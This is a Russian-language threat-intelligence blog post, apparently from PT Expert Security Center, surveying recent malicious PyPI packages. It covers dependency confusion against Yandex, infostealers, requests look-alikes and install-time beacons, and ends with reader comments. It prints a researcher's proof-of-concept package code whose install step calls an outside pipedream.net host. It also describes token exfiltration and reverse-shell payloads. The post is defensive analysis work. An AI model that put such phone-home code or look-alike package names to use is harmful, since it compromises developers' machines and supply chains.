За последние две недели в Python Package Index произошло много интересного. Мы, команда Threat Intelligence of PT Expert Security Center, вооружились вердиктами модели машинного обучения сервиса PT PyAnalysis, дабы рассказать вам об интересных сработках.

Багхантеры против «Яндекса»

Еще в январе 2023 года человек под ником yandex.bughunter зарегистрировал пять пакетов с разными вариантами текста:

import subprocess
import os
import requests

#I am  bughunter
#t.a.neo@yandex.ru
print('it works!')
requests.get("https://76c4[REDACTED]f5d3.m.pipedream.net/example-package-taxi-etl")
import requests

#I am  bughunter
#t.a.neo@yandex.ru
print('If you read this message and you are from Yandex write me t.a.neo@yandex.ru')
requests.get("https://76c4[REDACTED]f5d3.m.pipedream.net/dmp_suite")

Описание пакетов одинаковое: I created this package for security testing. I am bughunter from Yandex. Но странно, что в метаданных PyPI-проекта автор представляется как "Thomas Anderson t.a.neo@yandex.ru", то есть использует личную почту, а не корпоративные @team.yandex.ru / @yandex-team.ru?. Не говоря уже о том, что Thomas Anderson — это тот самый мистер Андерсон из Матрицы...

Этот человек имитирует supply-chain-атаку, регистрируя в глобальном репозитории пакет, который с таким же именем существует во внутреннем репозитории определенной группы разработчиков (в данном случае — команды «Яндекса»).

Установка пакета из глобального репозитория произойдет, если:

  • Пакетный менеджер (далее — ПМ) не умеет в расстановку приоритетов скачивания из списка репозиториев. Насчет того, что pip выбирает лучший по версии пакет из всех репозиториев, указанных в его конфиге, уже давно ведутся жаркие дискуссии. В Poetry такой проблемы нет.

  • ПМ не настроен на использование внутреннего репозитория. Так может быть на свежем устройстве нового коллеги, который еще не прочел гайд для новичков.

  • В конфиге ПМ настроено приоритетное использование внутреннего репозитория вместо глобального, но внутренний по каким-то причинам сейчас недоступен.

  • В конфиге ПМ настроено приоритетное использование глобального репозитория вместо внутреннего («Если пакета нет в глобальном репозитории - значит пакет наш и его нужно установить из внутреннего»).

Конфликт очередности использования репозиториев уже был в декабре 2022 года в известной атаке на ночные релизы torch. Злоумышленник зарегистрировал в глобальном репозитории PyPI библиотеку torchtriton, которая обычно подтягивалась из настроенного внутреннего репозитория. При этом установка пакета происходила через pip, вот и весь секрет киллчейна.

В августе 2024 года мы заметили, что авторство одного из пакетов пользователя yandex.bughunter забрал себе yandex-bot, аккаунт, который владеет 1279 пакетами с достаточно интересными названиями, такими как yandex-soc-services-sdk, yandex-cloud-ml-sdk-preview, yandex-infradev-tool.

Во всех этих пакетах автором указан Yandex <security@yandex-team.ru>. Описание гласит: A package to prevent Dependency Confusion attacks against Yandex, а сами пакеты вызывают исключение при попытке их поставить:

class InstallCommand(install):
    def run(self):
        raise RuntimeError("You are trying to install a stub package yandex-cloud-ml-sdk-preview. Maybe you are using the wrong pypi? See https://nda.ya.ru/t/GljG[REDACTED]zAGGz for details")

У нас нет подробностей, как yandex.bughunter узнал список пакетов внутренней кухни «Яндекса», но компания однозначно заметила эту активность.

Инфостилеры

Ими уже никого не удивишь, ведь это популярный класс вредоносного программного обеспечения, часто упоминаемый в новостях. Большинство троянов крадут наши данные, но делают это без уважения. И тут разработчик GeorgeTheMightyDev подумал: «А что, если...»

И выпустил пакет pojang-resorter, который благодарит вас за то, что вы установили его приложение, ведь вы даете ему возможность сделать скриншот и отправить его на сервер Discord. В следующих версиях нагрузка будет упакована в PyInstaller, а код — обфусцирован, однако мы оценили изначальное благородство автора ?.

Thank you for installing the package!
Thank you for installing the package!

1001 мимикрия под requests

Злоумышленники не перестают использовать кодовую базу популярной библиотеки requests для сокрытия своей вредоносной нагрузки. За эти две недели такое произошло в рамках пакетов flophttp и invokehttp. Так как в обоих случаях автор подписал себя как Kiany Reeves, у нас нет сомнений, что это одна кампания ?.

Вредоносная нагрузка расположена в __init__.py и представляет собой обфусцированный однострочник:

Затерявшийся код
Затерявшийся код

Учитывая, что автор задает для библиотек и методов такие алиасы, как borrow, blacktrone, pickachu, takihao, становится понятно, что наш злоумышленник — человек культуры ?.

Деобфусцированный код c вредоносной нагрузкой под разные платформы
Деобфусцированный код c вредоносной нагрузкой под разные платформы

Сезон отстуков

В последнее время наблюдается особая популярность простеньких троянов-логгеров, единственная задача которых состоит в том, чтобы на этапе установки или импорта пакета отстучаться злоумышленнику, опционально утащив с собой информацию о системе, иногда еще и переменные окружения. Ниже представлены различные варианты реализации такого функционала - это пакеты artifact-lab-3-package-77d0c154, artifact-lab-3-package-89883da3, tiktok-session-lite-sdk, bytes-tbs.

Однозначно not malicious function, всего-лишь отправляет ваши токены из переменных окружения
Однозначно not malicious function, всего-лишь отправляет ваши токены из переменных окружения
Данный образец позволяет при необходимости прокинуть реверс-шелл, но пока и переменных окружения достаточно
Данный образец позволяет при необходимости прокинуть реверс-шелл, но пока и переменных окружения достаточно
Краткость - сестра таланта
Краткость - сестра таланта
Использование прокси, если oastify.com блокируется
Использование прокси, если oastify.com блокируется

А вы знали про фичу pip с отсутствием приоритетов репозиториев? Надеюсь, что вам было интересно :)

Комментарии (3)


  1. zoto_ff
    03.09.2024 23:41

    ну так и что, связались с томасом андерсоном?


    1. NotSadMan
      03.09.2024 23:41

      Вроде даже и причин особо нет чтоб с ним связываться


    1. rakovskij_stanislav Автор
      03.09.2024 23:41
      +3

      Привет! Да вроде и не стояла задача связываться с ним)

      После публикации с нами сконтачились несколько человек, близких к багбаунти-программе Яндекса, и подтвердили, что Thomas Anderson действительно существует, это никнейм топового исследователя, он есть в Зале Славы бб-программы Яндекса.


      Такие истории с багхантерами и пентестерами в любом случае необходимо детектировать и освещать. По крайней мере потому, что это позволит разработчикам и девсекопсам увидеть, что такие supply-chain-атаки имеют место в реальных сценариях (torch, бб Яндекса), а значит надо проверить, достаточно ли текущих мер для того, чтобы оставаться в безопасности от этого вектора :)